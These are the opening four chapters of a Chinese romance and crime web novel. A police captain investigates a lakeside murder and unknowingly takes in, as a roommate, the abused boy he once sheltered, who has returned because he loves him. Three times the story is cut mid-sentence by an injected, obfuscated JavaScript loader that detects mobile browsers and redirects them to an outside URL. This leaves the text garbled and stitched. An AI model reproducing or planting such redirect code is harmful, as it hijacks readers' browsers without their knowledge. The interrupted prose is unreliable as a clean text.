《队长,我好像有点喜欢你》 1. 第一章 “嗡——嗡——嗡——” 早上七点,床头柜上的手机掐着点准时震动起来,机身在桌面上震动着漂移,发出悦耳的女声:“你是花花世界里限量版的花花蝴蝶,美女们只是比较豁出去比较敢一点。花蝴蝶的美的艳的炫若没三审定谳,那些路人甲们凭什么发言惹人讨厌。” 一只苍劲有力的手从被窝里伸了出来,哪怕只看这只手也能大概猜出手的主人大约平时经常健身,因为看上去肌肉虬结,健硕有力,只见这只手顺着床边茫然地四处搜寻了一圈,这才终于摸到了手机掐掉了闹钟。 手机的女声偃旗息鼓,世界重归安静,被窝里的人却没有直接起来。 直到闹铃间隔着响过六次,而分针已经走过半圈的时候,男人这才终于从被窝里露出了小半张脸看了手机一眼,“嗬,这怎么就已经七点半了。” 一把扔掉手机,男人闭着眼睛从床上一跃而起。他有着流畅矫健的肌肉,身材是标准的倒三角,利落的线条到了腰窝微微凹陷,即使不看脸也是一副颠倒众生的模样。穿衣,套上裤子和皮带,洗脸刷牙。一切准备就绪后,喻沧州出了门。 楼下那辆破HONDA昨夜被雨水刷洗得铮亮发光,一眼望过去非常好找。开锁,上车,喻沧州坐到了自己的小破车上。他并没有第一时间直接发动引擎,而是首先调了调后视镜的位置,对着后视镜中的自己露出了一个标准的能看见八颗牙齿的微笑,拨拨头上并不会受到动作影响的几根毛,直到欣赏着自己英俊的面容觉得满意以后,这才哼着小曲离开了小区。 昨夜刚刚下过一场暴雨,空气里弥漫着一股湿漉漉的水汽,潮湿清新,小区内遍植绿植,远处被雨洗过的法国梧桐树苍翠欲滴,绿意盎然。 出了小区没走多远就是一个菜市场,宽阔的街道陡然变得狭窄,道路两旁都是形形色色的人,这是喻沧州每日上班最头疼的路段。按照市区规划,菜市场原本是规划在一座四角大厦室内的区域,所有小贩登记后每日自行来占位就好,但抵不住这个菜市场牌子老生意好,有些小贩来迟后抢不到位置就径直将摊铺摆在了室外的路边。本来就已经非常窄的一条街道,现在左右两边都密密实实的布满了摊位,喻沧州每天开过这条路段感觉自己就跟马戏团里走钢丝的马一样小心翼翼,生怕自己一个不注意就将人家的铺子带翻了。 四周熙熙攘攘吵吵闹闹,喻沧州在一片此起彼伏的叫卖声中艰难前行。 “大姐,您这推车也摆得太靠路中央了。”不远处马上就要同喻沧州的小HONDA“狭路相逢”的是一辆摆满了荸荠和莲蓬的手推车,喻沧州扯着嗓子向坐在手推车旁的一位大姐喊。 “大家都摆这么远。”大概是听类似的抱怨早已听出了茧子,大姐听见了喻沧州的抗议异常淡定,坐在座位上连姿势都没变。 “您摆这么远,我的车不好过。” “那别人怎么过去的?”大姐给自己的莲蓬洒洒水,悠哉悠哉。 喻沧州深吸两口气,下车带上车门,长腿一迈大步走到大姐身前,“大姐,您这属于占路为市影响市容吧?” 他这番话说得略为官方,好像他知道占路为市会有什么不好的后果一样,此前不动如山的大姐终于停下了手上的动作抬起眼皮打量了他一眼。眼前的男人个子高,模样也俊,举手投足间都是一股浪荡的气质,菜市场十五块三件的黑T搭配一条半旧不新的牛仔裤,身后的HONDA看起来也不是很贵,要说这人有正经工作,她更愿意相信他是人到三十还整天游手好闲待业啃老的地痞小青年。大姐心中稍稍放心下来,但以防谨慎她还是张嘴问了一句:“你是警察?” “……”喻沧州闻言一摸口袋里的警牌,他还真的……不是! 严格来说,喻沧州是A市鄂江分局刑侦大队的警察,但刑侦大队顾名思义,只有出了命案才归他管,这种抓市容的事情还真的不在他的职责范围内。 大姐一看他这副吃瘪的模样,瞬间就明白眼前这个小青年根本不足为惧。两军交战,气盛者胜,她顿时气势十足地就开骂起来:“怎么着?你是怎么着?路边摊这么多人,光指着我骂!看我是女人好欺负是不是?要挪位子你怎么不让他们挪去!” 喻沧州平日里就各种撩大妈嫌,简直是在大妈大姐们的骂声中成长起来的,因此此时他也并没有表现出多么害臊的模样。路边有些路过的人听见了这里的动静,都若有似无的拿眼神往这里瞟,大姐意识到以后反而骂得越发来劲,她叉着腰骂了一会儿,最后话锋一转,直接下结语道:“游手好闲,看人下菜,一看你这模样,就知道你是个千年老光棍!!!活该你三十多岁了还讨不到老婆!!!” 此时正是买菜和上班的高峰期,路上人流量很大,经过大姐刚才这一番动静两人身边已经很是围了一些人,喻沧州一听见这话顿时有些懵,他眼皮一耷,一米八七的个子愣是透出股无辜样,和他平日里胡吹冒撂的浪荡样很是形成了反差,“不是,您怎么突然就跳到这个话题上来了呢?” 正当这时,喻沧州兜里的手机丁丁零零地响了,喻沧州反应很快,动作迅速地接起,“喂,什么事?” 来电人是他手下的女警苏小小,“喻队,又有新案子了。” “什么情况?”喻沧州脚步向旁边一顶,不务正业的气质就散去一点。 “昨天不是刚刚下过一场暴雨吗,今早有人报案说在鼎盛天街小区附近的南湖里发现了一具浮尸,尸源目前还不确定,法医还在检验尸体,我们目前正在南湖附近搜索证据保护现场,您赶紧过来吧。” “行,在那等着我,我马上过去。” 案子压身,眼前的青年气质就不一样了,只见他好似突然间变得稳重起来,轻浮的气质尽数敛去,喻沧州一把掏出裤兜里的人民警察证:“警察,执行公务,麻烦您把推车挪一挪。” 大姐一见他真的掏出了证件,面上还有些压不住的吃惊,但很快她就反应过来,赶忙把推车往里挪。围观的路人看见喻沧州挪动的脚步也都散开一个豁口,喻沧州见状没再说什么,大步回到车里就直接扬长而去。 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471583|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了南湖边,远远地就看见警戒线已经拉起了一片,湖边穿着公安制服的警员正井然有序地各司其职。苏小小见喻沧州到了,赶紧小跑过来。 苏小小正是方才给喻沧州打电话的那个女警。因为名字与历史上的钱塘第一名伎同名,而其本人气质偏偏又与貌美、才女等形容词相去十万八千里,喻沧州曾在苏小小入职期间一度不能直视这个名字。 眼看着苏小小此时到了身前,喻沧州带上车门就跟着她往前走:“把具体情况给我说说。” “尸体头部有锉裂伤,喉部有明显紫色痕迹,像是勒痕,口鼻周围未发现蕈样泡沫,呼吸道内未发现溺液,怀疑是被人殴打致死以后才投的湖。具体情况是不是这样还要等回警局做完硅藻实验以后才能得出结论。” “嗯。”喻沧州淡淡点了个头,“那现场呢?” “草丛内有踩压的痕迹,岸边因为昨夜下过雨,泥印都被冲掉了所以没有提取到脚印。技侦们还在搜集现场,看看还能不能发现其他的物证。” 喻沧州点点头,正要路过苏小小的警车时一眼瞥见打开的后备箱中的行李箱,顿时问道:“哟,这怎么还带着行李呢?” “是新来的组员顾彦,今天刚来报道。”苏小小说到这里有些不好意思地摸了摸鼻头,“人事的章姐本来说让我带他去员工宿舍把行李放下,顺便带着他四处转转,结果一到员工宿舍就发现分配给他的宿舍渗了水。员工宿舍是上世纪三十年代建的了,顶层就是一隔板,局里抠门见还能住人一直没舍得重建,这不可好,昨夜暴雨渗了水,今天彻底没法住人了。正好我那时接到报案的电话,就带着顾彦和他的行李一起来了。” 众所周知,鄂江分局的员工宿舍始建于民国时期,据说当年日本侵华的时候日军还曾住过这里,后来房子被鄂江分局买下来,年年有新员工入住的时候,老局长都以“我们的员工宿舍那可是老古董”为骄傲自豪,但骄傲归骄傲,就这么一套不防寒不抗冻夏天闷热雨天渗水的房子,局里愣是没舍得拿出一分钱翻修一下。 “局里抠门也不是一会两回了。”喻沧州了然地笑一笑,“那现在这事章姐怎么说?” “章姐说了,”苏小小说到这里,声音骤然变得讨好,俨然变身章姐化身,“您单身,独居,一个人占着那么大个房子,人顾彦初来乍到,A市也没什么朋友,不能让人工作第一天就睡办公室,所以,让他先去您那里就几天,等到员工宿舍修好了就立马搬回来。” 喻沧州原本正漫不经心地朝湖边走,听到最后一句顿时脚步停了下来,有些愕然地看向苏小小:“跟我住?章姐这算盘打得可以啊,敢情是都算计好了就在这儿等着我呢。”喻沧州又抬头望向不远处站着的那个少年,淡淡的晨光中,他逆着光,所以面容看不太清楚,只能看得见一身挺拔的身形,孑孑然好似冬日里的一株孤松。 短短的时间内,喻沧州已经做好和人分享他的狗窝的准备—— “行吧,小同志。”他轻挑地朝那个身形吹了声口哨,“下班以后记得跟我走。” 2. 第二章 “在附近的垃圾桶里找到了一个黑色皮夹,皮夹里面只留下了身份证和几张银行卡,现金都已不翼而飞,初步怀疑这就是死者的皮夹。根据身份证和死者的登记地址显示,死者名叫秦振飞,年龄二十五岁,目前居住在南湖附近的鼎盛天街小区。”南湖边的警戒线外,苏小小提着个证物袋向喻沧州汇报情况。“除此之外,我们还在死者身上和湖边分别找到这两样东西。” 苏小小一边说着一边将证物袋递上来,喻沧州接过来一看,里面分别装着一个打火机和一个钱袋,打火机是那种非常老的样式,大红色,机身塑料透明,钱袋则是不知道什么人从哪里随便扯了一块布做的布袋,可是说它是钱袋,袋底却又沾着几团黑色水笔的墨迹,喻沧州用手捏了捏钱袋,果不其然在钱袋里摸到了几只笔和厚厚的一叠纸状物体。 “这钱袋里面有多少钱?”喻沧州问。 “一千三百七十二块五,零钱很多,凶手貌似经济条件并不富裕。”苏小小说,“看上去像是凶手不小心留下来的。” 喻沧州点点头,“行吧。”他将证物袋递给苏小小,正要转身,想起来什么又问道:“对了,刚才死者从湖里面捞上来的时候身上穿的T恤貌似是个牌子货?” 方才尸体从湖里捞上来的时候喻沧州特意留意了一下死者身上的T恤,看上去价格不菲。喻沧州自己每天穿着菜市场十五块三件的T恤招摇过市,自然是不可能认得这些名牌的,但苏小小就不同了,对于什么样的logo对应什么样的牌子这种问题,她几乎对答如流,“是拉夫劳伦,它家的polo衫系列最有名。” 喻沧州点点头,“行,那这打火机就不是死者的,应该是凶手的,吩咐下去,让人留意鼎盛天街小区和南湖附近卖这种打火机的小卖部和超市,重点留意低收入的务工人员还有……高中生,我们现在去鼎盛天街走访一下死者的家庭关系和社会关系。” 南湖边的办案人员纷纷开始动作,众人收拾了东西回到车前准备离开,喻沧州这才留意到湖边站着的人非常安静,安静到让人几乎忘了他的存在。 方才,喻沧州因为关心案情,几乎全程都在交涉案情而忘了搭理这位新同事,而这位新同事居然也就一个人默默待着没有过来寻找存在感,甚至连“有什么忙是我可以帮的”这种问题都没有问过,所以一直到此时众人收工准备离开的时候,喻沧州才想起来还有这么一个新同事兼新室友。 “他这么安静,以后两个人住在一起不和谐那可怎么办啊?” 那一瞬间,喻沧州心里不知为什么突然掠过这样一个想法,一时之间突然有点发愁。 摸了摸鼻头,喻沧州开口道,“那个,你叫顾彦是吧?” 身旁的少年脊背挺直,即使只是随意地站着仪态也万分好看,和喻队长那懒散的风格形成了鲜明的对比,他点了点头:“是。” 喻沧州点点头,开口准备要说些什么,正在这时,走在后面的苏小小跑上来插话道:“顾彦,男,身高186,今年二十五岁。华阳路79号侦查学专业第一的硕士生被我们分局招进来了,怎么样喻队?你不是一直嫌手下人手不够么,刘局说了,这次特地给你个高材生给你用用。” 这苏小小,喻沧州还没问她呢,她就这么热情地主动回答,还身高年龄信息俱全,分明是见人家顾彦长得好看,对人见色起意,喻沧州开口道:“问你了吗?你就这么积极,专心收拾东西!” “……” 色心刚起还没来得划一撇的苏小小,就被队长当头喝了一顿,顿时夹起尾巴灰溜溜地收拾证物和器械去了。 苏小小口中所说的华阳路79号,是国内警校中排名top2的两所警校之一,相当于公安学校中的清北。每年各地公安系统招人的时候,基本上只要是这两所学校毕业的学生,大家都是抢着要,也因为此,能在华阳路79号专排第一毕业的硕士生,在公安系统一定是不愁出路的。而顾彦却选择来了鄂江分局,要知道,在城市定位上,A市顶多只能算是一个二线城市,有很多A市毕业的本地大学生都不愿意留A市,而顾彦却主动来了A市。 “华阳路79号专排第一毕业的硕士生怎么会来了A市?”喻沧州开口问道,“顾彦,你是本地人?” 顾彦闻言微微侧转身,带着点笑意说道:“小时候在这里长大的,零六年家里出了点事离开了A市,可是喜欢的人又还留在这里,所以毕业后就回来了。” 他一开口,声线就偏低偏冷,像是冬日里的松木,和他整个人的安静气质形成了一种相得益彰的效果。大约是人行事稳重,他说话的时候会专注地看着你,莫名生出些许深情的意味,让人感觉自己正被他珍视着。喻沧州问道,“哦这样,原来还是个痴情少年,那你以前是鄂江实验小学的?” 顾彦点点头:“是的。” “初中呢?” 顾彦听到这个问题楞了一下,好似对这个问题有些猝不及防,他抬眼看了一眼喻沧州,但很快他还是回答了这个问题:“以前……是二中的。” 严格来说,顾彦只能算是上过几天初中,他那时候去了二中,班里的同学人名都还没有认全,就被领了回来,从此辍学在家。直到后来离开了A市,他才开始继续上学。喻沧州却不知道这其中的隐情,他笑了笑:“那我俩可算是校友,你可得叫我一声学长。” 顾彦也笑:“应该的。” 他的笑容很干净不带谄媚,一般刚刚参加工作的新人在面对未来上级的时候或多或少态度中都会带些讨好,顾彦却不这样,喻沧州见状忍不住多看了他一眼——他本人倒其实不是很在意那些虚头巴脑的东西,觉得工作嘛,大家在一起好好工作就好,不过顾彦清冷的样子实在少见,喻沧州觉得他一点也不像是干刑侦口的,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471584|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而更像是技侦那边比较学霸的男同学,他突然有些好奇以后和他一起工作起来会是什么样子。 正当这时,苏小小已经收拾好了所有东西,跑过来问道,“喻队,证物袋和器械都收拾好了,顾彦是跟你车还是跟我车?” 喻沧州说:“跟你车吧。行李还在你车上。” 苏小小一边提着各种器械一边说道:“那行。” 鼎盛天街离南湖并不远,苏小小对顾彦这种长得好看的学霸很感兴趣,一路上趁着喻沧州不在,把想八卦的问题八了个遍,一直到下车的时候还有些意犹未尽。在鼎盛天街的小区前喻沧州和苏小小顾彦简单会了个合,大致分配了一下各自的调查范围,然后三个人就分开各自行动了。顾彦接到的任务是考察鼎盛天街的周边环境,和大家分开以后,就一个人在小区外的街道上溜达。 顾彦平日里有个不为人知的小习惯,出门的时候总喜欢在口袋里装几颗奶糖,没事的时候剥一颗扔进嘴里,打发时间。因为昨天刚到A市住的宾馆,居住环境改变,早上出门的时候自然而然也就忘记了平日的习惯。此时顾彦惯性地往裤子口袋里一摸,发现什么也没有,心里居然有些空落落地不习惯。不远处不用走几步就是一个小卖部,顾彦拾级而上,打算去小卖部买点糖果。 正在这时,兜里的手机响了起来,顾彦拿出手机看了看来电人的姓名就一把接起。 “哥,”电话那头响起的是一个女声,听起来年纪不过二十来岁的样子,“怎么样?到A市了吗?” “嗯,到了。” “A市最近的天气怎么样?降温了吗?衣服带的够吗?同事们人还好吗?”电话那头的女孩性格很活泼的样子,一开了话闸就停不下来,“妈昨天吃饭的时候叨叨你叨了好几遍,担心你在那边衣服不够又担心同事关系会不会很复杂,我说让她打电话给你,她又跟我说男孩子一个人在外面不需要经常打电话,最后还是得让我来打电话。” 女孩一边说着一边变了语调,顾彦只是听她说话的语气就能想象得出来她一定是在那头翻了个白眼,顾彦宠溺地笑了笑道,“是我的问题,昨天到A市的时候有点晚了,到了宾馆就直接躺下睡了,今天一早上报道,一报道就忘了给妈打电话。”顾彦一边说着一边握着电话往小卖部外走,又一一回答女孩刚才的问题,“A市有降一点温,不过并没有太冷。员工宿舍的话,因为漏雨了,所以不能住了。” “啊?什么?”女孩吃了一惊,“那你现在住在宾馆吗?那你们单位就不给你解决住宿问题了?” “没,局里给安排了一下,”顾彦摸了摸鼻子,“所以现在打算……让我暂时住在他家里。” 他并没有要刻意说得隐晦的意思,女孩一听到“他”字就立刻会意了,“就是那个喻什么?” “嗯,喻沧州。”知道她记不住他的名字,顾彦替她补充道。 3. 第三章 “真的是那个喻沧州?就是你从前跟我说过的喻沧州?”女孩听到这里“哈”了一声,“缘分可真奇妙,你本来就是奔着他去的A市,没想到居然一去就住进了他家里,哥,这是冥冥中自有天意啊!” “什么天意。”顾彦笑了一声,“员工宿舍太破了而已。” “诶乐观一点嘛哥,住到他家里多方便,近水楼台先得月。以及,喻沧州这个名字,听起来就很符合你对他的描述。” “哦是吗?” “是啊,听名字感觉就是个很可靠的人。”女孩肯定道,“不过话说回来,哥你真的想好了吗?这样义无反顾就直接回到A市……且不说你俩以后如果真的在一起了不能传宗接代爸妈会不会同意的问题,如果他真的像你说的是个直男不喜欢男人,那他有可能这一辈子都不会喜欢你。” “嗯是有这个可能。可是如果不试试的话,就永远也不会知道答案了。在家里的时候我每天纠结要不要回A市,知道我是喜欢他的这个事实以后,我动摇过,纠结过,也自我怀疑过,我纠结我喜欢一个男人这件事情的对与错,怀疑他会喜欢我的一点点可能性,纠结得太多,也曾经打过退堂鼓。现在想想,其实那些纠结都没有必要,我喜欢他,我就来到他身边,对于渴望的东西,人只有试过一次才会死心。而在一场赌局赢面本来就很小的情况下,有所保留是很难成功的。“ “这倒也是。”女孩感叹道,“唉,行吧,只要你想透彻了,爸妈那边无论他们意见怎样,我都支持你。说好了的,无论别人怎样,我们俩得一条心。” 顾彦笑了笑,“嗯,说好了的。” 顾彦和女孩又聊了几句,就将电话挂了。手机放回兜里,顾彦的思绪却陷入了茫茫的回忆中。 刚才给他打电话的这个女孩名叫杨子,是他一点血缘关系也没有的妹妹。这个世界上有一些亲情并不是靠血缘关系界定的,杨子和他就属于那一种——他们并不分享相同的一套DNA,不是出自同一个母胎,可是他们的关系却和其他出自同一个母胎的兄妹没有异样,甚而比他们要更加亲密。 细细回顾此生,顾彦的人生可以被精准地分成两部分:离开A市以前和离开A市以后。 离开A市以前,他的父亲是麻纺厂的下岗工人,顾彦的母亲在他出生时难产早逝,所以顾彦从小和父亲一起生活长大。下岗以后,顾彦的父亲见麻纺厂外卖夜宵的摊子生意不错,就开了间卖麻辣烫的店子。在那个年代,A市的麻辣烫店还不是很多,麻纺厂又一贯以夜宵闻名,顾彦的父亲很快就小赚了一笔。 麻纺厂里有几个固定的牌搭子,顾彦的父亲也加入了他们。大约真的是有行运这种事情,染上牌瘾一段时间以后,顾彦的父亲几乎每打必输,但偏偏又有瘾,很快就输光了所有新赚的钱。人是会在一些失败以后突然消沉的,输光了钱以后,顾彦的父亲开始酗酒,从此人生一落千丈。 顾彦父亲的消沉体现在顾彦的身上的表现就是顾彦拥有着一个并不如意的童年。他每到要交学费和生活费的时候就发愁,在别人家的小孩有着适时的新衣服穿的时候,他总是穿着或过大或过小的旧衣服,袜子脚趾头和脚后跟处都有洞,饭吃了上顿没下顿,晚上睡觉的时候还会突然被扯出被窝,然后就是一顿毒打。 那段时间,他常常梦里做梦都是梦见父亲推开门的样子,梦见他嘴角下沉,像故事里最易怒的修罗。梦境有时睁开眼会真的变成现实,他无数次在被毒打中恍惚地想,是不是他上辈子做错了什么,才要遭受这一切。 连接这一段灰暗的回忆和后来美满得简直不像话的生活的中间点,是那一次事故。 那天其实正邻近年关,麻纺厂的院子楼道里到处飘着卤菜的香味,大家阖家团圆,四处走访,一股喜庆热闹的气息漂浮在空气里,可是再热闹,这热闹也是别人的——顾彦的父亲不知道去哪里了,只留下顾彦一个人待在家。顾彦被楼道里卤菜的气味馋得不行,可是家里又没有什么吃的了,只能从冰箱里搜出两个鸡蛋用水煮了,吃了以后,就又回床上睡觉去了。 等到他再次醒来的时候,是被热醒的。四周浮着一层厚重的热,从四面八方裹着自己。顾彦推开被褥想要散热,觉得不太管用,他又将光着的脚伸了出去,还是解不了这闷热。顾彦烦躁地睁开眼,只见前门的店门口好像隐隐有火光。一片嘈杂声中,隐隐有人声传来,声音很大,似乎是用喊的—— “这边也着火了,你们有谁知道这里面有没有人啊?” “不知道!刚才问过附近的人,说这里面平时住着一个男人和一个小孩。” “唉这大过年的,要是有人应该早就意识到自己家里着火了吧。不过也说不准,我进去看看有没有人,先确定里面没人再说。” 声音吼了一两个来回就停止了,然后就是有人在一片噼啪灼烧中走进自己家里的声音,“唉这里还真有一个小孩,小孩你还在睡觉可真是心大,快出来,你家着火了。” 那个消防员惊诧于顾彦一个人在着火的家中的镇定,随便从柜子里拿了件衣服给顾彦披上就带着顾彦出了门。过门的时候门框已经剧烈燃烧起来,消防员抱住顾彦的头让他快些出去,等到到了院子里那人就对顾彦说:“外面冷,你先去消防车上待着,这边要先灭火。”说完那人就忙着去灭火去了,留下顾彦一个人懵懵懂懂地往院子里走。 那天也真是巧,就在同一院子里的另一栋大楼里,发生了一起入室盗窃案,院子里同样也停了一辆警车。顾彦也不知怎么想的,在消防车和警车里面,就选了那辆空空的警车,车门没锁,他轻而易举地打开,爬了上去。 那天靠近年关,局里已经没有多少人了,喻沧州作为值班人员去上班,好巧不巧地就遇见一个入室盗窃案,小偷当然早就已经逃之夭夭,但他还得开着警车来人家家里调查。调查完他呵着气回到车里,“这入室盗窃的也不让人省心,大过年的,不能让人好好过的年吗!”他自言自语完,就径直发动发动机开着车离开了小院。 就这,也没发现后座还藏着个人。 直到回了局里,文件都记录好了,值班时间差不多也到了,和前来换岗的同事交接以后,喻沧州哼着小曲下了楼,回到车上拧动钥匙开了发动机,顺眼往后视镜一瞟,居然在后视镜的一角瞟出了个人影,那人影一动也不动,在这大年三十的夜晚一眼看过去格外渗人。 “妈啊,这大过年的。”喻沧州当即差点起了一层鸡皮疙瘩,待看清后座的那个人影不过是个小孩以后,他才镇定了一点,“小孩,你什么时候上我的车的?去去去,下去,这是警车,不能随便上的。” 顾彦不说话,一双眼睛只是漆黑漆黑地望着他。这时,借着夜色,喻沧州才看清了这小孩身上穿的是一套秋衣秋裤,只是在外面随意地罩了一件外套,喻沧州顿时觉得事情有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471585|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点不太对,他想了想今天的行车路线,然后开口问道,“你是在麻纺厂的院子里上的我的车?我送你回去。”他当机立断道。 车一个拐弯出了院子,开上大道。顾彦不跟他说话,车里一片静谧,正在这时,后座不合时宜地传来一阵叽里咕噜的声音,是人肚子饿了的声音。他回过头去,正好看见顾彦在这时垂下了眼角,喻沧州心领神会,从驾驶室的置物盒里拿出中午在路上顺道买来的鸡蛋糕,本来是他打算拿来当零嘴填肚子的,他此时拿起来递给后座上的小孩:“喏,先垫点肚子。” 顾彦没有和他客气,瘦弱的手接过去迅速就吃了,吃的速度几乎有些接近狼吞虎咽。喻沧州看了,为数不多的良心居然让他泛起一点心酸,但他惯来不怎么会说好听的话,那点心酸只是让他此时有了说话的欲望,“你怎么在我车上?大过年的,不在家好好待着,跑到人民警察的车上来捣乱,警察叔叔还得费心把你送回去,好玩吗啊?” 顾彦仍旧没有答话,只是吃完了鸡蛋糕拿着塑料袋安静地看着他,喻沧州在后视镜里回视一眼,居然鬼使神差地读懂了那眼神的含义,“没有了!就这么一点,本来是买来我自己吃的,都给你了。” 到了麻纺厂,顾彦老大不情愿地领着喻沧州到他家门口,喻沧州看着他家门面被烧黑的墙面,突然福至心灵般地懂了今天车里突然出现个小孩是为哪般,“敢情你家里今天着火了啊?下午消防的人处理的就是你们家的事情?”喻沧州上下打量顾彦几眼,“你家里大人呢?” 顾彦还是望着他不说话。 喻沧州没耐心,拉了顾彦的手直接就要进家门,正在这时,他眼角余光突然留意到了顾彦手臂上的青痕,他倏地一把抓起顾彦的手臂,撸起他的袖子,就看到顾彦细弱的手臂上一片密集的青紫。喻沧州自己也是男孩子过来的。他太清楚打架斗殴和家暴的区别,一般男孩子在外面和人打架,伤的都会是眼睑、嘴角这种地方,但能伤到胳膊肩膀身上这种范围的,其实就不太可能是孩子之间的打架了,“这你家里人打的?” 顾彦点点头。 喻沧州气得站起来疾走了几步,气不过,朝着门店的木头梁柱踹了一脚,“王八蛋狗娘养的,他人呢?!” 顾彦又摇摇头。 喻沧州在门店里陪着顾彦等了一会儿,还是没有大人回来。稍微冷静下来以后,他觉得这事有点棘手,按说就算这小孩家长家暴,没人报案,这也不是他职责范围内的事,他依情理把小孩送了回来,已经可以走了。可是另一方面讲,今天大年三十,小孩到现在都没吃上饭,那个家暴的王八蛋至今还没回来,他觉得再怎么样他也走不开。 喻沧州纠结了一会儿,开口问道:“唉,你家人还回不回来了?” 顾彦有些落寞地摇摇头,摇头是不知道的意思。 喻沧州问道:“喂,你要不要今天晚上先跟我回去过年?我明天早上再把你送回来。反正你家人也不知道什么时候回来。” 顾彦听了,立马紧赶着两步走到他身边,一双黑黑的眼睛直直地看着他,看上去很赞同这个建议的样子。 接着,就越过喻沧州径直往门外走。 眼看着顾彦比他还要积极地离开这里,喻沧州一把按住他的脑袋将他的身体扭转回来:“去,给你家人留个纸条,说清楚情况,就说你跟着警察叔叔回家过年了,我的电话号码是XXXXXXXX。” 4. 第四章 于是,就这样,那一年的大年三十,顾彦是和喻沧州一起过的。 那天,顾彦被喻沧州带到他的家里,喻沧州一到家就将他那黑色的飞行员夹克脱了下来,露出里面的黑色毛衣,那黑色毛衣也不知道是谁挑选的,给他那混不吝的气质披上一层很是温馨的外衣:“唉,小孩,是不是肚子饿了?” 顾彦非常诚实地点点头。 喻沧州看上去也不知道吃什么的样子,摸着下巴思索了一会儿,他突然竖起一根指头,“我知道吃什么了!小孩你等着。”说完他就一埋头进了厨房。 喻沧州在厨房里鼓捣年夜饭的时候,顾彦就坐在喻沧州家里的沙发上环顾喻沧州的家里。 这里和他从小生活的家有点不太一样,没有随处乱扔的酒瓶和脏衣服,没有喝得醉醺醺的酒鬼,也不用担心下一刻就会有一个人破门而入然后遭受一顿毒打。喻沧州的家里其实一点也不豪华,很普通的两室一厅,一百来平方米,可是就因为太普通了太温馨了,反而是顾彦从来没有见过的生活的另一面——沙发前是一个有他膝盖高的小茶几,茶几上叠放着一堆报纸,一个电视遥控器,还有一个装满了糖果的果盘,那些糖果纸花花绿绿,色彩浓重,“新年”这个词在小顾彦的心里突然一下子变得具象起来。 原来正常人的家里大家都是这样过年的。 没过一会儿,“正常人”从厨房里端着两大碗饭出来了,他身前围了一个米黄色的围裙,气质顿时变得有些居家:“来,小孩,快过来尝尝我做的饭。” 顾彦去到餐桌前,看见两个大大的海碗里各自装着两份米饭,米饭经过焖炒,已经有些酱油的颜色了,除此之外米饭中夹着些豆角、茄子和土豆丝。喻沧州拿着两柄铁勺子得意道:“是不是不知道这叫什么?这叫菜饭!我独家发明的配方。” 假如此时但凡站在喻沧州面前的是另外一个稍微有些常识的人,都能认出,这根本不是什么独家发明的菜饭,纯粹就是隔了夜的现菜和现饭混在了一起焖炒过后的饭,喻沧州这货居然也好意思大言不惭地说是自己独家发明的新菜式。然而此时站在他面前的是并没有多少人生经历的顾彦,顾彦接受了他的这一番说法,点了点头,就要去接他手里的勺子。 喻沧州故意将手向后一缩,没让他拿到,“等一下,吃饭之前要先对我说什么?” 顾彦仔细想了想,低下头小声道,“……谢谢。” “谢什么!要说新年快乐小子,今天是大年三十啊!”喻沧州一副恨铁不成钢的样子将勺子递给顾彦,然而没过一会儿又反应过来,“诶等一下你会说话啊?你不是哑巴?那你今天为啥一直不跟我说话?你再多说几句给我听听。” 喻沧州还在这边叨叨叨,这边顾彦已经接过勺子埋头开始吃上了。 喻沧州一看他狼吞虎咽的样子就皱起眉头,“你慢点吃,没人跟你抢。怎么样?好吃吗?” 喻沧州一副期待的目光盯着顾彦,顾彦点点头。 喻沧州又皱起眉头:“用嘴巴说!” 顾彦吞下了口中大口的饭,这才抹抹嘴巴,低声道,“……好吃。” “好吃就对了,这可是我独家发明的,”喻沧州也舀了一口饭到自己口中,“怎么样?我牛不牛?” “牛。” “哈哈哈你这个小孩有品位!” 吃过了饭,热水器里的水也已经烧好了,喻沧州絮絮叨叨,“大年三十就要洗澡,洗得干干净净了迎接新年。家里没有你的码的衣服,我随便挑了一套我自己穿着小了的衣服,你就把袖子和裤脚都卷起来将就着穿吧。你的衣服扔洗衣机里转一转,明天就能穿。” 热水器里的水烧得又热又足,站在浴室里氤氲的热水中时,顾彦一时有些怔怔的。他感受着浴霸里出来的热水,发了很久的呆。 喻沧州给他的衣服和裤子确实是大了,顾彦即使把袖子和裤脚卷上去,领口和周身也还是多出来很多空间。因此顾彦一从浴室出来,喻沧州就一眼看见了他肩头的伤,那还是能看见的,在看不见的地方,不知道还有多少被毒打过的痕迹。喻沧州一把就把顾彦拉了过来,神色严肃道:“这也是你家人打的?是谁?” 顾彦:“爸爸。” 